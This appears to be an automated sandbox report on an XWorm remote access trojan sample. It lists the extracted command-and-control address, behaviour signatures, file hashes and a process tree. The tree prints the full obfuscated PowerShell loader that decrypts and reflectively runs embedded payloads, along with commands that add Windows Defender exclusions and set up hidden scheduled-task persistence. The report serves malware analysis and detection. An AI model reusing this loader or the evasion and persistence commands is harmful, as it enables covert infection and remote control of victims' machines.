Analysis

  • max time kernel
    64s
  • max time network
    66s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-09-2024 00:10

General

  • Target

    XWorm V5.2.exe

  • Size

    18.2MB

  • MD5

    bdc4539e8060d4db24a69db716a1cec0

  • SHA1

    71c2485bf1684e73f16a213568efcaa2cb88ce6f

  • SHA256

    c39cc9aaa0311fd1f6d981e995b608b0d36e464aea09896bd17b41bbd3fc1fe6

  • SHA512

    b2411923cf5c2e4f96682f73234c409eca38b1712413ec946b1d652a4ddc266376eebe02fd6878dc3fc379eff1307f09407bc06db576c462ded08a839087eb4f

  • SSDEEP

    393216:s+gzSUAx9phaAUnQeGUPG/uVeZ/K2B1CkcDUDLHK18as0mcvow+Ax:1CwUAQQLIG/5//CFU/qO0T

Malware Config

Extracted

Family

xworm

C2

uk1.localto.net:3725

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    svchost.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Obfuscated with Agile.Net obfuscator 3 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    PID:776
    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
      2⤵
        PID:4620
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:900
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:952
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:464
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:948
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1060
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1092
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                  1⤵
                    PID:1104
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1120
                    • C:\ProgramData\svchost.exe
                      C:\ProgramData\svchost.exe
                      2⤵
                      • Executes dropped EXE
                      PID:1720
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                      PID:1144
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1260
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1280
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1364
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1384
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1420
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1540
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1556
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                    1⤵
                                      PID:1616
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1708
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1732
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1772
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1804
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1892
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1900
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:1940
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1960
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                      1⤵
                                                        PID:1600
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:1832
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                          1⤵
                                                            PID:2200
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2208
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2392
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                1⤵
                                                                  PID:2404
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  PID:2436
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                    PID:2512
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2556
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2572
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                        1⤵
                                                                          PID:2952
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                          1⤵
                                                                            PID:2928
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                            1⤵
                                                                              PID:3348
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                              PID:3452
                                                                              • C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"
                                                                                2⤵
                                                                                • Checks computer location settings
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:3584
                                                                                • C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"
                                                                                  3⤵
                                                                                    PID:1924
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.bat'
                                                                                    3⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:4360
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.bat" "
                                                                                    3⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4692
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ht0j9zPSqBi69tTX5kflrnUeoIA5im8gLLZnexTvmMs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yPdScja9U8RjkyeOpTlzgQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gScxN=New-Object System.IO.MemoryStream(,$param_var); $drTXw=New-Object System.IO.MemoryStream; $JmztZ=New-Object System.IO.Compression.GZipStream($gScxN, [IO.Compression.CompressionMode]::Decompress); $JmztZ.CopyTo($drTXw); $JmztZ.Dispose(); $gScxN.Dispose(); $drTXw.Dispose(); $drTXw.ToArray();}function execute_function($param_var,$param2_var){ $BTSMq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tsXTL=$BTSMq.EntryPoint; $tsXTL.Invoke($null, $param2_var);}$sQwMN = 'C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.bat';$host.UI.RawUI.WindowTitle = $sQwMN;$CexYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sQwMN).Split([Environment]::NewLine);foreach ($JUrKH in $CexYw) { if ($JUrKH.StartsWith('sgymnEOEMpmtiRUpGEhO')) { $hWNDm=$JUrKH.Substring(20); break; }}$payloads_var=[string[]]$hWNDm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                      4⤵
                                                                                        PID:1016
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                                                        4⤵
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:2412
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_599_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                          5⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1720
                                                                                        • C:\Windows\System32\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.vbs"
                                                                                          5⤵
                                                                                          • Checks computer location settings
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:1136
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.bat" "
                                                                                            6⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3952
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ht0j9zPSqBi69tTX5kflrnUeoIA5im8gLLZnexTvmMs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yPdScja9U8RjkyeOpTlzgQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gScxN=New-Object System.IO.MemoryStream(,$param_var); $drTXw=New-Object System.IO.MemoryStream; $JmztZ=New-Object System.IO.Compression.GZipStream($gScxN, [IO.Compression.CompressionMode]::Decompress); $JmztZ.CopyTo($drTXw); $JmztZ.Dispose(); $gScxN.Dispose(); $drTXw.Dispose(); $drTXw.ToArray();}function execute_function($param_var,$param2_var){ $BTSMq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tsXTL=$BTSMq.EntryPoint; $tsXTL.Invoke($null, $param2_var);}$sQwMN = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.bat';$host.UI.RawUI.WindowTitle = $sQwMN;$CexYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sQwMN).Split([Environment]::NewLine);foreach ($JUrKH in $CexYw) { if ($JUrKH.StartsWith('sgymnEOEMpmtiRUpGEhO')) { $hWNDm=$JUrKH.Substring(20); break; }}$payloads_var=[string[]]$hWNDm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                              7⤵
                                                                                                PID:3088
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                                                                7⤵
                                                                                                • Blocklisted process makes network request
                                                                                                • Deletes itself
                                                                                                • Drops startup file
                                                                                                • Adds Run key to start application
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:1512
                                                                                                • C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"
                                                                                                  8⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Loads dropped DLL
                                                                                                  PID:5096
                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                    C:\Windows\system32\WerFault.exe -u -p 5096 -s 1016
                                                                                                    9⤵
                                                                                                      PID:364
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                                    8⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:316
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                                    8⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:2240
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
                                                                                                    8⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:4364
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
                                                                                                    8⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:3884
                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
                                                                                                    8⤵
                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                    PID:2032
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                      1⤵
                                                                                        PID:3568
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                        1⤵
                                                                                          PID:4348
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                          1⤵
                                                                                            PID:2432
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                            1⤵
                                                                                              PID:4564
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                              1⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              PID:2532
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                              1⤵
                                                                                                PID:4420
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                1⤵
                                                                                                  PID:1396
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                  1⤵
                                                                                                    PID:960
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                    1⤵
                                                                                                      PID:4940
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                      1⤵
                                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      PID:3124
                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                        C:\Windows\system32\WerFault.exe -pss -s 564 -p 5096 -ip 5096
                                                                                                        2⤵
                                                                                                          PID:4836

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • C:\ProgramData\svchost.exe

                                                                                                        Filesize

                                                                                                        442KB

                                                                                                        MD5

                                                                                                        04029e121a0cfa5991749937dd22a1d9

                                                                                                        SHA1

                                                                                                        f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                                                                                                        SHA256

                                                                                                        9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                                                                                                        SHA512

                                                                                                        6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XWorm V5.2.exe.log

                                                                                                        Filesize

                                                                                                        42B

                                                                                                        MD5

                                                                                                        84cfdb4b995b1dbf543b26b86c863adc

                                                                                                        SHA1

                                                                                                        d2f47764908bf30036cf8248b9ff5541e2711fa2

                                                                                                        SHA256

                                                                                                        d8988d672d6915b46946b28c06ad8066c50041f6152a91d37ffa5cf129cc146b

                                                                                                        SHA512

                                                                                                        485f0ed45e13f00a93762cbf15b4b8f996553baa021152fae5aba051e3736bcd3ca8f4328f0e6d9e3e1f910c96c4a9ae055331123ee08e3c2ce3a99ac2e177ce

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                        Filesize

                                                                                                        2KB

                                                                                                        MD5

                                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                        SHA1

                                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                        SHA256

                                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                        SHA512

                                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                        Filesize

                                                                                                        53KB

                                                                                                        MD5

                                                                                                        a26df49623eff12a70a93f649776dab7

                                                                                                        SHA1

                                                                                                        efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                        SHA256

                                                                                                        4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                        SHA512

                                                                                                        e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                        Filesize

                                                                                                        2KB

                                                                                                        MD5

                                                                                                        005bc2ef5a9d890fb2297be6a36f01c2

                                                                                                        SHA1

                                                                                                        0c52adee1316c54b0bfdc510c0963196e7ebb430

                                                                                                        SHA256

                                                                                                        342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

                                                                                                        SHA512

                                                                                                        f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        Filesize

                                                                                                        1KB

                                                                                                        MD5

                                                                                                        bceed48e720d53a41dfa3c7c73f23f0f

                                                                                                        SHA1

                                                                                                        d06284e9e184a924efb235e8abc8ec19348b8c2d

                                                                                                        SHA256

                                                                                                        2a94a7e6d5247e4f03a36f6c9cd1e24c394bdbcdf46b9a866ad7823d0483d019

                                                                                                        SHA512

                                                                                                        402a0006b17a603c3a8c6ebc566579d1fe1a27e5d834ebe3cb1420d09d829ef261de2b4e62b6fce3624e93fe42dbfa21d4bb7063469c480ae4d9c5568d5df31f

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        Filesize

                                                                                                        944B

                                                                                                        MD5

                                                                                                        77d622bb1a5b250869a3238b9bc1402b

                                                                                                        SHA1

                                                                                                        d47f4003c2554b9dfc4c16f22460b331886b191b

                                                                                                        SHA256

                                                                                                        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                                                                                                        SHA512

                                                                                                        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        Filesize

                                                                                                        944B

                                                                                                        MD5

                                                                                                        96e3b86880fedd5afc001d108732a3e5

                                                                                                        SHA1

                                                                                                        8fc17b39d744a9590a6d5897012da5e6757439a3

                                                                                                        SHA256

                                                                                                        c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294

                                                                                                        SHA512

                                                                                                        909b1968f7204fa7029109b02232d8cc5438f6b4dc7c9044e4e47c59fcee538199b13029e36592b12ed573d48a308dd4822d2ced4129ab08d4111897e02be55d

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        Filesize

                                                                                                        944B

                                                                                                        MD5

                                                                                                        3db1c0d23daacf01eb99125ccc2787d3

                                                                                                        SHA1

                                                                                                        0849528de1ba411279231d635d8f39d54cc829d2

                                                                                                        SHA256

                                                                                                        bceb96f5c3d31447980eb8cd891bba75b3e5b6eb60abf4d829fc13cd8faf2582

                                                                                                        SHA512

                                                                                                        3d84635a3395bca1d91ce182ccfb9e38c8da87ad678704673a72d580e4251cedc5a6b2a89040a172a5687b67952e74a13673bd115bce7bdabaed06f89323de5b

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        Filesize

                                                                                                        944B

                                                                                                        MD5

                                                                                                        2979eabc783eaca50de7be23dd4eafcf

                                                                                                        SHA1

                                                                                                        d709ce5f3a06b7958a67e20870bfd95b83cad2ea

                                                                                                        SHA256

                                                                                                        006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

                                                                                                        SHA512

                                                                                                        92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

                                                                                                      • C:\Users\Admin\AppData\Local\Temp\TMzpx\TMzpx.dll

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                        MD5

                                                                                                        2f1a50031dcf5c87d92e8b2491fdcea6

                                                                                                        SHA1

                                                                                                        71e2aaa2d1bb7dbe32a00e1d01d744830ecce08f

                                                                                                        SHA256

                                                                                                        47578a37901c82f66e4dba47acd5c3cab6d09c9911d16f5ad0413275342147ed

                                                                                                        SHA512

                                                                                                        1c66dbe1320c1a84023bdf77686a2a7ab79a3e86ba5a4ea2cda9a37f8a916137d5cfec30b28ceae181355f6f279270465ef63ae90b7e8dcd4c1a8198a7fd36a8

                                                                                                      • C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.bat

                                                                                                        Filesize

                                                                                                        12.3MB

                                                                                                        MD5

                                                                                                        1a270a2d79f958a83af1ab2b5805e43c

                                                                                                        SHA1

                                                                                                        aeb2f51a0d1377a25fdcd614fc96fe6b3afbbeeb

                                                                                                        SHA256

                                                                                                        5a0ee0516cf26c772261c81a9cbc45fa625268576debb7d8b38609687554544c

                                                                                                        SHA512

